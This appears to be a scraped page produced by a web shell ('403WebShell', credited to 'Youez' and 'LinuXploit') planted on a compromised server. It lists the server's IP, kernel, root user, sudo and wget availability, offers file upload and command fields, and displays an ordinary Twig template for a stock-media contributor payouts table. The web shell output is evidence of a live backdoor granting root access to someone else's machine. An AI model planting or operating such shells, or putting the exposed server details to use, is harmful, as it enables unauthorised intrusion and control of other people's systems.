WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/contributor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/contributor/_payouts_filter_template.html.twig
    <div class="col-lg-12">
        <div class="mb-3 card">
            <div class="card-header">
                <div class="card-header-title">My Sales (<span class="count">{{ soldItems|length }}</span>)</div>
                <span class="btn creat_new">

                                 <span class="button_primary_label">Total Payout: {{ totalSales|localizedcurrency('USD') }}</span>
                             </span>
            </div>
            <div class="datagrid ">
                <table class="">
                    <thead>
                    <tr>
                        <th>File</th>
                        <th>ID</th>
                        <th>Title</th>
                        <th>License Type</th>
                        <th>Date Purchased</th>
                        <th>Payout in %</th>
                        <th>Payout</th>
                    </tr>
                    </thead>
                    <tbody>
                    {% for item in soldItems %}
                        <tr>
                            <td data-label="File"><img src="{{ asset('uploads/stock/')~item.stock.thumbName }}" class="cart_thumbnail"></td>
                            <td data-label="File ID"> {{ item.stock.formattedId ? item.stock.formattedId : item.stock.id }}</td>
                            <td data-label="Title"> {{ item.stock.title }}</td>
                            <td data-label="Licence Type">
                                {{ item.licenceType is not null? item.licenceType:"Royalty Free" }} ({{ item.fileSize }})
                                {% if item.exclusiveLicenceDuration %}
                                    - Exclusive for
                                    {% if item.exclusiveLicenceDuration / 12 >= 1 %}
                                        {% if item.exclusiveLicenceDuration / 12 > 1  %}
                                            {% set durationIn = " years" %}
                                        {% else %}
                                            {% set durationIn = " year" %}
                                        {% endif %}
                                    {% else %}
                                        {% if item.exclusiveLicenceDuration > 1  %}
                                            {% set durationIn = " months" %}
                                        {% else %}
                                            {% set durationIn = " month" %}
                                        {% endif %}
                                    {% endif %}
                                    {{ item.exclusiveLicenceDuration / 12 >= 1 ? item.exclusiveLicenceDuration/12 ~ durationIn : item.exclusiveLicenceDuration ~ durationIn }}
                                {% endif %}
                            </td>
                            <td data-label="Date purchased"> {{ item.createdAt.format('d F y, h:i:s') }}</td>
                            <td data-label="Payout in %"> {{ attribute(stocksPerc, item.id) }}%</td>
                            <td data-label="Payout"> $ {{ item.amount/100 * 0.6 * attribute(stocksPerc, item.id) }}</td>
                        </tr>

                    {% else %}
                        <tr>
                            <td colspan="7">
                                Sorry, no sales report to display
                            </td>
                        </tr>
                    {% endfor %}
                    {% if soldItems|length > 0 %}
                        <tr>
                            <td colspan="6"></td>
                            <td>
                                <h3>Payout: {{ totalSales|localizedcurrency("USD") }}</h3>
                            </td>
                        </tr>
                    {% endif %}
                    </tbody>
                </table>
            </div>
        </div>
    </div>

Youez - 2016 - github.com/yon3zu
LinuXploit